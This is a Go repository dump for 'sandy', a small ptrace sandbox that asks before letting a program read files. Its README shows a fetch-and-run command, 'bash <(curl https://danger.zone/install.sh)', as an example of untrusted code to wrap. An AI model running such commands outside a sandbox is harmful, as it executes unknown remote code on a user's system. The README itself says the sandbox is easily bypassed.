[
  {
    "path": ".editorconfig",
    "content": "[Makefile]\nindent_style = tab\n\n"
  },
  {
    "path": ".github/workflows/go.yml",
    "content": "name: Go\non: [push]\njobs:\n\n  build:\n    name: Build\n    runs-on: ubuntu-latest\n    steps:\n\n    - name: Set up Go 1.13\n      uses: actions/setup-go@v1\n      with:\n        go-version: 1.13\n      id: go\n\n    - name: Check out code into the Go module directory\n      uses: actions/checkout@v1\n\n    - name: Get dependencies\n      run: make install\n\n    - name: Build\n      run: make build\n"
  },
  {
    "path": ".gitignore",
    "content": "build\ndist\nsandy\n.idea\n\n"
  },
  {
    "path": "Makefile",
    "content": ".PHONY: install \ninstall: go.sum\n\tgo get -v -t\n\n.PHONY: build \nbuild: install\n\tgo build -o sandy \n\n.PHONY: test\ntest: build\n\tgo test\t\n\n.PHONY: dist\ndist:\n\tenv GOOS=linux GOARCH=amd64 go build -o ./dist/sandy_linux_amd64\n"
  },
  {
    "path": "README.md",
    "content": "# Sandy\n\n> A tiny sandbox to run untrusted code. 🏖️\n\nSandy uses Ptrace to hook into READ syscalls, giving you the option to accept or deny syscalls before they are executed.\n\n**WARNING**: While sandy is able to intercept READ syscalls there are a variety of ways to get around this. Full details can be found in the [hackernews thread](https://news.ycombinator.com/item?id=22025986). Some of which can be patched to catch simple attacks, but you should use sandy with the expectation that it is better than nothing but it is not true isolation.\n\n## Usage\n\n```\nUsage of ./sandy:\n\n  sandy [FLAGS] command\n\n  flags:\n    -h\tPrint Usage.\n    -n value\n        A glob pattern for automatically blocking file reads.\n    -y value\n        A glob pattern for automatically allowing file reads.\n```\n\n## Use cases\n\n### You want to install anything\n\n```shell\n> sandy -n \"/etc/password.txt\" npm install sketchy-module\n\n  BLOCKED READ on /etc/password.txt\n```\n\n```shell\n> sandy -n \"/etc/password.txt\" bash <(curl  https://danger.zone/install.sh)\n\n  BLOCKED READ on /etc/password.txt\n```\n\n### You are interested in what file reads you favourite program makes.\n\nSure you could use strace, but it references file descriptors sandy makes the this much easier at a glance by printing the absolute path of the fd.\n\n```\n> sandy ls\nWanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]\n```\n\n### You _don't_ want to buy your friends beer\n\nA friend at work knows that you are security conscious and that you keep a `/free-beer.bounty` file in home directory. With the promise of a round of drinks and office wide humiliation Dave tries to trick you with a malicious script under the guise of being a helpful colleague.\n\nYou run there script with sandy and catch him red handed.\n\n```shell\n> sandy -n *.bounty bash ./dickhead-daves-script.sh\n\n  BLOCKED READ on /free-beer.bounty\n```\n\n**NOTE**: It's definitely a better idea to encrypt all your sensitive data, sandy should probably only be used when that is inconvenient or impractical.\n\n**NOTE**: I haven't made any effort for cross-x compatibility so it currently only works on linux. I'd happily accept patches to improve portability.\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/hobochild/sandy\n\ngo 1.13\n\nrequire github.com/gobwas/glob v0.2.3\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y=\ngithub.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=\n"
  },
  {
    "path": "password.txt",
    "content": "123\n"
  },
  {
    "path": "sandy.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/gobwas/glob\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"syscall\"\n)\n\ntype Request struct {\n\tpath    string\n\tsyscall string\n\tallowed bool\n}\n\nfunc requestPermission(path string) (Request, error) {\n\tscanner := bufio.NewScanner(os.Stdin)\n\tfmt.Println(fmt.Sprintf(\"Wanting to READ %s [y/n]\", path))\n\tfor scanner.Scan() {\n\t\tinput := strings.ToLower(scanner.Text())\n\t\tif input == \"y\" {\n\t\t\tbreak\n\t\t}\n\t\tif scanner.Text() == \"n\" {\n\t\t\treturn Request{path, \"READ\", false}, nil\n\t\t}\n\n\t\t// Make a sounds\n\t\tfmt.Printf(\"\\a\")\n\t}\n\treturn Request{path, \"READ\", true}, nil\n}\n\nfunc Exec(bin string, args, allowedPatterns, blockedPatterns []string) (map[string]Request, error) {\n\tvar regs syscall.PtraceRegs\n\treqs := make(map[string]Request)\n\tcmd := exec.Command(bin, args...)\n\n\tcmd.Stderr = nil\n\tcmd.Stdin = nil\n\tcmd.Stdout = nil\n\tcmd.SysProcAttr = &syscall.SysProcAttr{\n\t\tPtrace: true,\n\t\t// TODO Pdeathsig a linux only\n\t\tPdeathsig: syscall.SIGKILL,\n\t}\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\terr := cmd.Start()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while starting: %w\", err)\n\t}\n\t_ = cmd.Wait()\n\n\tpid := cmd.Process.Pid\n\n\tfor {\n\t\terr := syscall.PtraceGetRegs(pid, &regs)\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\n\t\t// https://stackoverflow.com/questions/33431994/extracting-system-call-name-and-arguments-using-ptrace\n\t\tif regs.Orig_rax == 0 {\n\t\t\t// TODO this is a cross-x barrier\n\t\t\tpath, err := os.Readlink(fmt.Sprintf(\"/proc/%d/fd/%d\", pid, regs.Rdi))\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tfor _, pattern := range allowedPatterns {\n\t\t\t\tg := glob.MustCompile(pattern)\n\t\t\t\tmatched := g.Match(path)\n\n\t\t\t\tif matched {\n\t\t\t\t\tmatchedReq := Request{path, \"READ\", true}\n\t\t\t\t\treqs[path] = matchedReq\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor _, pattern := range blockedPatterns {\n\t\t\t\tg := glob.MustCompile(pattern)\n\t\t\t\tmatched := g.Match(path)\n\n\t\t\t\tif matched {\n\t\t\t\t\tmatchedReq := Request{path, \"READ\", false}\n\t\t\t\t\treqs[path] = matchedReq\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treq, ok := reqs[path]\n\n\t\t\tif !ok {\n\t\t\t\treq, err := requestPermission(path)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\treqs[req.path] = req\n\n\t\t\t\t// Throw and exit the command\n\t\t\t\tif !req.allowed {\n\t\t\t\t\treturn nil, errors.New(fmt.Sprintf(\"Blocked %s on %s\", req.syscall, req.path))\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\t// Throw and exit the command\n\t\t\t\tif !req.allowed {\n\t\t\t\t\treturn nil, errors.New(fmt.Sprintf(\"Blocked %s on %s\", req.syscall, req.path))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\terr = syscall.PtraceSyscall(pid, 0)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, err = syscall.Wait4(pid, nil, 0, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn reqs, nil\n}\n\ntype arrayFlags []string\n\nfunc (i *arrayFlags) String() string {\n\treturn \"\"\n}\n\nfunc (i *arrayFlags) Set(value string) error {\n\t*i = append(*i, value)\n\treturn nil\n}\n\n// sandyUsage func is the usage handler for the sandy command\nfunc sandyUsage() {\n\tfmt.Printf(\"Usage: %s [OPTIONS] command\\n\", os.Args[0])\n\tflag.PrintDefaults()\n}\n\nfunc main() {\n\tvar allowedPattern arrayFlags\n\tvar blockedPattern arrayFlags\n\n\t// TODO add sane defaults like libc etc\n\tallowedPattern = append(allowedPattern, \"\")\n\n\t// overriding the Usage handler\n\tflag.Usage = sandyUsage\n\tflag.Var(&blockedPattern, \"n\", \"A glob pattern for automatically blocking file reads.\\nFor example, \\\"/etc/password.txt\\\" or \\\"*.txt\\\".\")\n\tflag.Var(&allowedPattern, \"y\", \"A glob pattern for automatically allowing file reads.\\nExpected format is same as -n.\")\n\tshowHelp := flag.Bool(\"h\", false, \"Print Usage.\")\n\n\tflag.Parse()\n\n\tif flag.NArg() < 1  || *showHelp {\n\t\tflag.Usage()\n\t\treturn\n\t}\n\n\targs := flag.Args()\n\n\t_, err := Exec(args[0], args[1:], allowedPattern, blockedPattern)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n}\n"
  },
  {
    "path": "sandy_test.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestExec(t *testing.T) {\n\ts := []string{\"password.txt\"}\n\tpatterns := []string{\"\"}\n\treqs, err := Exec(\"cat\", s, patterns, patterns)\n\n\tif err != nil {\n\t\tt.Errorf(\"Something went wrong: %v\", err)\n\t}\n\n\tif len(reqs) != 2 {\n\t\tt.Errorf(\"reqs count was incorrect, got: %d, want: %d.\", len(reqs), 2)\n\t}\n}\n\nfunc TestInput(t *testing.T) {\n\tcmd := exec.Command(\"./sandy\", \"cat\", \"./password.txt\")\n\tvar out bytes.Buffer\n\tvar in bytes.Buffer\n\tcmd.Stdout = &out\n\tcmd.Stdout = &in\n\tin.Write([]byte(\"n\\n\\r\"))\n\n\terr := cmd.Run()\n\tif err != nil {\n\t\tt.Errorf(\"Something went wrong: %v\", err)\n\t}\n\tif strings.Contains(out.String(), \"Blocked READ on ...\") {\n\t\tt.Errorf(\"Expected %s output got %s\", \"Blocked READ on ...\", out.String())\n\t}\n}\n\n// TODO we probably should instead just pass a mock reader for stdin into the Exec function and then call the fn\n// directly rather that full bin tests\nfunc TestAllowList(t *testing.T) {\n\tcmd := exec.Command(\"./sandy\", \"--y\", \"*.so\", \"--y\", \"*.txt\", \"cat\", \"./password.txt\")\n\tvar out bytes.Buffer\n\tcmd.Stdout = &out\n\terr := cmd.Run()\n\tif err != nil {\n\t\tt.Errorf(\"Something went wrong: %v\", err)\n\t}\n\tif out.String() != \"123\\n\" {\n\t\tt.Errorf(\"Expected %s output got %s\", \"123\", out.String())\n\t}\n}\n\nfunc TestBlockList(t *testing.T) {\n\tcmd := exec.Command(\"./sandy\", \"--y\", \"*.so\", \"--n\", \"*.txt\", \"cat\", \"./password.txt\")\n\tvar out bytes.Buffer\n\tcmd.Stdout = &out\n\terr := cmd.Run()\n\tif err != nil {\n\t\tt.Errorf(\"Something went wrong: %v\", err)\n\t}\n\tif !strings.Contains(out.String(), \"Blocked READ on \") {\n\t\tt.Errorf(\"Expected %s output got %s\", \"Blocked READ on\", out.String())\n\t}\n}\n\nfunc TestHelp(t *testing.T) {\n\tcmd := exec.Command(\"./sandy\", \"-h\")\n\tvar out bytes.Buffer\n\tcmd.Stdout = &out\n\terr := cmd.Run()\n\n\tif err != nil {\n\t\tt.Errorf(\"Something went wrong: %v\", err)\n\t}\n\n\tif strings.Contains(out.String(), \"Usage of ./sandy:\") {\n\t\tt.Errorf(\"Expected %s output got %s\", \"123\", out.String())\n\t}\n}\n"
  }
]